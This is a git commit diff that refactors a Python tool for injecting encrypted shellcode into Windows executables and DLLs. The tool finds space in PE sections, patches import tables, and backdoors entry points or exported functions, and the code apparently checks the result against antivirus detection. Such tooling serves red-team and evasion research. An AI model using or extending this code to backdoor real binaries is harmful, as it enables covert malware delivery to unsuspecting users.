refactor: carrier->injectable so i have sane carrier- & payload locations (+cleaner injector)

This commit is contained in:
Dobin Rutishauser
2024-06-23 14:11:30 +02:00
parent 29db10cbe6
commit e10f9c7fda
8 changed files with 335 additions and 281 deletions
+2 -2
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@@ -6,7 +6,7 @@ from model.defs import *
from pe.superpe import SuperPe, PeSection
logger = logging.getLogger("Carrier")
logger = logging.getLogger("Injectable")
class IatRequest():
@@ -39,7 +39,7 @@ class DataReuseEntry():
self.references.append(DataReuseReference(placeholder, register))
class Carrier():
class Injectable():
def __init__(self, exe_file: str):
self.iat_requests: List[IatRequest] = []
self.reusedata_fixups: List[DataReuseEntry] = []
+3 -3
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@@ -4,7 +4,7 @@ import shutil
from model.defs import *
from model.payload import Payload
from model.settings import Settings
from model.carrier import Carrier
from model.injectable import Injectable
logger = logging.getLogger("Project")
@@ -22,7 +22,7 @@ class Project():
self.comment: str = ""
self.settings: Settings = settings
self.payload: Payload = Payload(self.settings.payload_path)
self.carrier: Carrier = Carrier(self.settings.inject_exe_in)
self.injectable: Injectable = Injectable(self.settings.inject_exe_in)
self.project_dir: str = ""
self.project_exe: str = ""
@@ -30,7 +30,7 @@ class Project():
def init(self):
self.payload.init()
self.carrier.init()
self.injectable.init()
def prepare_project(project_name, settings):
+4 -2
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@@ -11,15 +11,17 @@ class RangeManager:
self.min = min
self.max = max
self.intervals.add(Interval(0, min))
def merge_overlaps(self):
self.intervals.merge_overlaps(strict=False)
def print_all(self):
logger.info("Min: {} Max: {}".format(self.min, self.max))
print("Min: {} Max: {}".format(self.min, self.max))
for i in self.intervals:
logger.info("Interval: {}-{}".format(i.begin, i.end))
print("Interval: {}-{}".format(i.begin, i.end))
def add_range(self, start, end):
+1 -58
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@@ -5,7 +5,6 @@ from typing import List, Dict
import random
from model.defs import *
from model.rangemanager import RangeManager
logger = logging.getLogger("superpe")
@@ -43,6 +42,7 @@ class SuperPe():
self.iat_entries: Dict[str, IatEntry] = {}
self.init_iat_entries()
def init_iat_entries(self):
self.pe.parse_data_directories()
self.make_iat_entries()
@@ -236,44 +236,6 @@ class SuperPe():
return None
## Relocations
def get_rdata_relocmanager(self) -> RangeManager:
section = self.get_section_by_name(".rdata")
relocs = self.get_relocations_for_section(".rdata")
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
for reloc in relocs:
# Reloc destination is probably 8 bytes
# But i add another 8 to skip over small holes (common in .rdata)
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
if True: # FIXME this is a hack which is sometimes necessary?
sect_data_copy = section.pefile_section.get_data()
string_off = find_first_utf16_string_offset(sect_data_copy)
if string_off == None:
raise Exception("Strings not found in .rdata section, abort")
if string_off < 128:
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
string_off = 128
rm.add_range(section.virt_addr, section.virt_addr + string_off)
rm.merge_overlaps()
return rm
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
section: PeSection = self.get_section_by_name(section_name)
ret = []
if section is None:
return ret
for reloc in self.get_base_relocs():
reloc_addr = reloc.rva
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
ret.append(reloc)
return ret
## IAT
def get_vaddr_of_iatentry(self, func_name: str) -> int:
@@ -389,22 +351,3 @@ class SuperPe():
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
def find_first_utf16_string_offset(data, min_len=8):
current_string = bytearray()
start_offset = None # To keep track of the start of the current string
for i in range(0, len(data) - 1, 2):
# Check if we have a valid character
if data[i] != 0 or data[i+1] != 0:
if start_offset is None: # Mark the start of a new string
start_offset = i
current_string += bytes([data[i], data[i+1]])
else:
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
return start_offset # Return the offset where the string starts
current_string = bytearray()
start_offset = None # Reset start offset for the next string
return None # No string found that meets the criteria
+7 -7
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@@ -2,13 +2,13 @@ import os
from typing import List, Dict
from helper import *
from model.carrier import Carrier, DataReuseEntry, IatRequest
from model.injectable import Injectable, DataReuseEntry, IatRequest
from model.settings import Settings
logger = logging.getLogger("AsmTextParser")
def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> List[str]:
def parse_asm_text_file(injectable: Injectable, asm_text: str, settings: Settings) -> List[str]:
lines_out = []
lines = asm_text.split("\n")
@@ -62,7 +62,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
string_ref = "supermega_payload"
# should already exist (added before)
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
if datareuse_fixup == None:
raise Exception("Data reuse entry not found: {}".format(string_ref))
@@ -85,7 +85,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
# just the function name, without __imp_
func_name = line[line.find("__imp_")+6:].rstrip()
placeholder: bytes = os.urandom(6) # exact size or the result
carrier.add_iat_request(func_name, placeholder)
injectable.add_iat_request(func_name, placeholder)
new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name)
lines_out.append(new_line)
@@ -98,7 +98,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
if line.startswith("$SG"):
# fuck me. if we start a new definition, and have an old one, add the old one...
if current_datareuse_entry != None:
carrier.add_datareuse_fixup(current_datareuse_entry)
injectable.add_datareuse_fixup(current_datareuse_entry)
current_datareuse_entry = None # reset it here
var_name = tokens[0]
@@ -115,7 +115,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
continue
if current_datareuse_entry != None:
# when we reach here, $SG with its DB should be done.
carrier.add_datareuse_fixup(current_datareuse_entry)
injectable.add_datareuse_fixup(current_datareuse_entry)
current_datareuse_entry = None # reset it here
# PATCH data reuse code (data from C)
@@ -125,7 +125,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW
if "OFFSET FLAT:$SG" in line:
string_ref = line.split("OFFSET FLAT:")[1]
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
if datareuse_fixup == None:
raise("Data reuse entry not found: {}".format(string_ref))
+3 -3
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@@ -9,7 +9,7 @@ from config import config
from observer import observer
from model import *
from phases.masmshc import masm_shc, Params
from model.carrier import Carrier
from model.injectable import Injectable
from phases.asmtextparser import parse_asm_text_file
from model.settings import Settings
@@ -51,7 +51,7 @@ def compile_dev(
def compile(
c_in: FilePath,
asm_out: FilePath,
carrier: Carrier,
injectable: Injectable,
settings: Settings,
):
logger.info("-[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
@@ -70,7 +70,7 @@ def compile(
asm_text = file_readall_text(asm_out)
observer.add_text_file("carrier_asm_orig", asm_text)
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) # Fixup assembly file
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # Fixup assembly file
asm_text = masm_shc(asm_text_lines) # Cleanup assembly file
observer.add_text_file("carrier_asm_final", asm_text)
+210 -106
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@@ -4,164 +4,256 @@ import time
import logging
from typing import Dict, List
from model.carrier import Carrier, DataReuseEntry, DataReuseReference
from model.injectable import Injectable, DataReuseEntry, DataReuseReference
from pe.pehelper import *
from observer import observer
from pe.derbackdoorer import FunctionBackdoorer
from pe.superpe import SuperPe
from pe.superpe import SuperPe, PeSection
from model.project import Project
from model.settings import Settings
from pe.asmdisasm import *
from model.defs import *
from model.payload import Payload
from model.rangemanager import RangeManager
logger = logging.getLogger("Injector")
def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload: Payload):
exe_in = settings.inject_exe_in
exe_out = settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
class Injector():
def __init__(
self,
carrier_shc: bytes,
settings: Settings,
injectable: Injectable,
payload: Payload):
self.carrier_shc = carrier_shc
self.settings = settings
self.injectable = injectable
self.payload = payload
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
self.superpe = SuperPe(settings.inject_exe_in)
self.function_backdoorer = FunctionBackdoorer(self.superpe)
# to find space for reference data of carrier (and possibly payload)
self.rdata_rangemanager = self.init_rdata_rangemanager()
# to find space for carrier and payload
self.payload_rva = None
self.carrier_rva = None
self.init_code_rangemanager()
## .rdata rangemanager (relocations and reference data)
def init_rdata_rangemanager(self) -> RangeManager:
section = self.superpe.get_section_by_name(".rdata")
relocs = self.get_relocations_for_section(".rdata")
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
for reloc in relocs:
# Reloc destination is probably 8 bytes
# But i add another 8 to skip over small holes (common in .rdata)
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
if True: # FIXME this is a hack which is sometimes necessary?
sect_data_copy = section.pefile_section.get_data()
string_off = find_first_utf16_string_offset(sect_data_copy)
if string_off == None:
raise Exception("Strings not found in .rdata section, abort")
if string_off < 128:
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
string_off = 128
rm.add_range(section.virt_addr, section.virt_addr + string_off)
rm.merge_overlaps()
return rm
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
section: PeSection = self.superpe.get_section_by_name(section_name)
ret = []
if section is None:
return ret
for reloc in self.superpe.get_base_relocs():
reloc_addr = reloc.rva
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
ret.append(reloc)
return ret
## .text rangemanager
def init_code_rangemanager(self) -> RangeManager:
code_section = self.superpe.get_code_section()
if code_section == None:
raise Exception('Could not find code section in input PE file!')
code_section_size = code_section.Misc_VirtualSize
# Restrictions for putting data into .text:
# - enough space for carrier + payload
# - avoid overwriting entry point function
# - carrier should not generate much smaller holes in .text
rm = RangeManager(
code_section.VirtualAddress,
code_section.VirtualAddress + code_section_size)
# protect entrypoint a bit
entrypoint_rva = self.superpe.get_entrypoint()
rm.add_range(
entrypoint_rva - 0x100,
entrypoint_rva + 0x100)
# TECHNIQUE0:
# assume payload is big, find a place for it, then prepend carrier (small)
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
# align to center
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
if self.settings.carrier_name == "dll_loader_change":
# Align to page size
offset = offset & 0xFFFFF000
# page aligned possibly
self.payload_rva = offset
# prepend it a bit
self.carrier_rva = offset - len(self.payload.payload_data) - 4096
return rm
## Inject
def inject_exe(self):
exe_in = self.settings.inject_exe_in
exe_out = self.settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
logger.info("-[ Injecting: into {} -> {}".format(exe_in, exe_out))
# CHECK if shellcode fits into the target code section
carrier_shc_len = len(carrier_shc)
#code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize
#if carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size:
# raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format(
# carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size
# ))
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
superpe = SuperPe(exe_in)
function_backdoorer = FunctionBackdoorer(superpe)
# Patch IAT (if necessary and wanted)
for iatRequest in carrier.get_all_iat_requests():
# skip available
addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
if addr != None:
logger.info("---[ Request IAT {} is available at 0x{:X}".format(
iatRequest.name, addr))
continue
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
self.injectable_patch_iat()
if not settings.fix_missing_iat:
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
iatRequest.name))
# do the patch
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
#logger.info(" Unavailable IAT {} now patched".format(
# iatRequest.name))
# we modify the IAT raw, so reparsing is required
superpe.pe.parse_data_directories()
superpe.init_iat_entries()
carrier_shc_offset: int = 0 # file offset
# DEL BOTH
carrier_shc_len = len(self.carrier_shc)
carrier_offset: int = 0 # file offset
# Special case: DLL exported function direct overwrite
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
rva = superpe.getExportEntryPoint(settings.dllfunc)
rva = self.superpe.getExportEntryPoint(self.settings.dllfunc)
# Size and sanity checks
function_size = superpe.get_size_of_exported_function(settings.dllfunc)
function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc)
if carrier_shc_len >= function_size:
logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
carrier_shc_len, function_size, settings.dllfunc
carrier_shc_len, function_size, self.settings.dllfunc
))
# Inject
carrier_shc_offset = superpe.get_offset_from_rva(rva)
logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_shc_offset:X} to overwrite')
superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc)
carrier_offset = self.superpe.get_offset_from_rva(rva)
logger.info(f'----[ Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
else: # EXE/DLL
# Put it somewhere in the code section, and rewire the flow
code_section = superpe.get_code_section()
if code_section == None:
raise Exception('Could not find code section in input PE file!')
sect_size = code_section.Misc_VirtualSize # Better than: SizeOfRawData
if sect_size < carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD:
raise Exception("Shellcode too large: {}+{} > {}".format(
carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
))
carrier_shc_offset = int((sect_size - carrier_shc_len) / 2) # centered in the .text section
#shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
carrier_shc_offset += code_section.PointerToRawData
shellcode_rva = superpe.pe.get_rva_from_offset(carrier_shc_offset)
# Aligning the payload (not carrier!) to page size is important for dll_loader_change
if settings.carrier_name == "dll_loader_change":
# align shellcode_rva minus an offset to page size
shellcode_rva = align_to_page_size(shellcode_rva, carrier_shc_len - len(payload.payload_data))
carrier_shc_offset = superpe.pe.get_offset_from_rva(shellcode_rva)
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
shellcode_rva, carrier_shc_offset))
self.carrier_rva, carrier_offset))
# Copy the shellcode
superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc)
# Copy the carrier
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
# rewire flow
if superpe.is_dll() and settings.dllfunc != "": # DLL
# rewire flow to the carrier
if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Handled above
raise Exception("We should not land here")
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.getExportEntryPoint(settings.dllfunc)
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
settings.dllfunc, addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len)
self.settings.dllfunc, addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
shellcode_rva))
superpe.set_entrypoint(shellcode_rva)
self.carrier_rva))
self.superpe.set_entrypoint(self.carrier_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.get_entrypoint()
addr = self.superpe.get_entrypoint()
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len)
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
logger.info("--( Fix imports and make carrier reference IAT")
injected_fix_iat(superpe, carrier)
self.injectable_write_iat_references()
logger.info("--( Insert and reference carrier data")
injected_fix_data(superpe, carrier,
carrier_shc_offset + carrier_shc_len + 4096)
self.inject_and_reference_data()
# changes from console to UI (no console window) if necessary
superpe.patch_subsystem()
self.superpe.patch_subsystem()
# We done
logger.info("--( Write to file: {}".format(exe_out))
superpe.write_pe_to_file(exe_out)
self.superpe.write_pe_to_file(exe_out)
# Log
code = file_readall_binary(exe_out)
in_code = code[carrier_shc_offset:carrier_shc_offset+carrier_shc_len]
in_code = code[carrier_offset:carrier_offset+carrier_shc_len]
observer.add_code_file("carrier_exe", in_code)
def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
def injectable_patch_iat(self):
# Patch IAT (if necessary and wanted)
for iatRequest in self.injectable.get_all_iat_requests():
# skip available
addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
if addr != None:
logger.info("---[ Request IAT {} is available at 0x{:X}".format(
iatRequest.name, addr))
continue
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
if not self.settings.fix_missing_iat:
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
iatRequest.name))
# do the patch
self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
#logger.info(" Unavailable IAT {} now patched".format(
# iatRequest.name))
# we modify the IAT raw, so reparsing is required
self.superpe.pe.parse_data_directories()
self.superpe.init_iat_entries()
def injectable_write_iat_references(self):
"""replace IAT-placeholders in shellcode with call's to the IAT"""
code = superpe.get_code_section_data()
for iatRequest in carrier.get_all_iat_requests():
code = self.superpe.get_code_section_data()
for iatRequest in self.injectable.get_all_iat_requests():
for placeholder in iatRequest.references:
if not placeholder in code:
raise Exception("IatResolve ID {} not found, abort".format(placeholder))
offset_from_code = code.index(placeholder)
# Note that the SuperPe may already have been patched for new IAT imports
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
destination_virtual_address = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
if destination_virtual_address == None:
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format(
placeholder.hex(),
instruction_virtual_address,
@@ -175,21 +267,17 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
))
code = code.replace(placeholder, jmp)
superpe.write_code_section_data(code)
self.superpe.write_code_section_data(code)
def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int):
def inject_and_reference_data(self):
"""Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA"""
reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups()
reusedata_fixups: List[DataReuseEntry] = self.injectable.get_all_reusedata_fixups()
if len(reusedata_fixups) == 0:
# nothing todo
return
# .rdata storage manager
rdata_section = carrier.superpe.get_section_by_name(".rdata")
if rdata_section == None:
raise Exception("No .rdata section found, abort")
rm = carrier.superpe.get_rdata_relocmanager()
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
# insert data
logger.info("---( DataReuseFixups: Inject the data")
@@ -198,31 +286,31 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int)
datareuse_fixup.string_ref, datareuse_fixup.in_code))
if datareuse_fixup.in_code: # .text
superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
payload_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
datareuse_fixup.addr = payload_rva + carrier.superpe.get_image_base()
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format(
datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data)))
else: # .rdata
# get a hole in the .rdata section to put our data
hole_rva = rm.find_hole(len(datareuse_fixup.data))
hole_rva = self.rdata_rangemanager.find_hole(len(datareuse_fixup.data))
if hole_rva == None:
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
len(datareuse_fixup.data)
))
rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
self.rdata_rangemanager.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
var_data = datareuse_fixup.data
data_rva = hole_rva[0]
superpe.pe.set_bytes_at_rva(data_rva, var_data)
datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base()
self.superpe.pe.set_bytes_at_rva(data_rva, var_data)
datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base()
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
# replace the placeholder in .text with a LEA instruction to the data we written above
logger.info("---( Datareusefixups: patch code to reference the data")
code = superpe.get_code_section_data()
code = self.superpe.get_code_section_data()
for datareuse_fixup in reusedata_fixups:
ref: DataReuseReference
for ref in datareuse_fixup.references:
@@ -231,7 +319,7 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int)
ref.placeholder.hex(), datareuse_fixup.string_ref))
offset_from_datasection = code.index(ref.placeholder)
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
instruction_virtual_address = offset_from_datasection + self.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
destination_virtual_address = datareuse_fixup.addr
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address
@@ -246,7 +334,7 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int)
))
code = code.replace(ref.placeholder, lea)
superpe.write_code_section_data(code)
self.superpe.write_code_section_data(code)
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
@@ -266,3 +354,19 @@ def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
return 1
def find_first_utf16_string_offset(data, min_len=8):
current_string = bytearray()
start_offset = None # To keep track of the start of the current string
for i in range(0, len(data) - 1, 2):
# Check if we have a valid character
if data[i] != 0 or data[i+1] != 0:
if start_offset is None: # Mark the start of a new string
start_offset = i
current_string += bytes([data[i], data[i+1]])
else:
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
return start_offset # Return the offset where the string starts
current_string = bytearray()
start_offset = None # Reset start offset for the next string
return None # No string found that meets the criteria
+12 -7
View File
@@ -17,7 +17,7 @@ from model.project import Project, prepare_project
from model.settings import Settings
from model.defs import *
from log import setup_logging
from model.carrier import DataReuseEntry
from model.injectable import DataReuseEntry
from utils import check_deps
@@ -142,7 +142,7 @@ def start_real(settings: Settings):
project.init()
# CHECK if 64 bit
if not project.carrier.superpe.is_64():
if not project.injectable.superpe.is_64():
raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in))
logger.info("--[ Config: {} {} {} {}".format(
@@ -169,8 +169,8 @@ def start_real(settings: Settings):
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
# So the carrier is able to find the payload
project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True))
entry = project.carrier.get_reusedata_fixup("supermega_payload")
project.injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True))
entry = project.injectable.get_reusedata_fixup("supermega_payload")
entry.data = phases.assembler.encode_payload(
project.payload.payload_data, settings.decoder_style) # encrypt
observer.add_code_file("payload", project.payload.payload_data)
@@ -180,12 +180,12 @@ def start_real(settings: Settings):
phases.compiler.compile(
c_in = settings.main_c_path,
asm_out = settings.main_asm_path,
carrier = project.carrier,
injectable = project.injectable,
settings = project.settings)
# we have the carrier-required IAT entries in carrier.iat_requests
# CHECK if all are available in infectable, or abort (early check)
functions = project.carrier.get_unresolved_iat()
functions = project.injectable.get_unresolved_iat()
if len(functions) != 0 and settings.fix_missing_iat == False:
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
@@ -197,7 +197,12 @@ def start_real(settings: Settings):
observer.add_code_file("carrier_shc", carrier_shellcode)
# INJECT loader into an exe and do IAT & data references. Big task.
phases.injector.inject_exe(carrier_shellcode, settings, project.carrier, project.payload)
injector = phases.injector.Injector(
carrier_shellcode,
settings,
project.injectable,
project.payload)
injector.inject_exe()
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
# Check binary with avred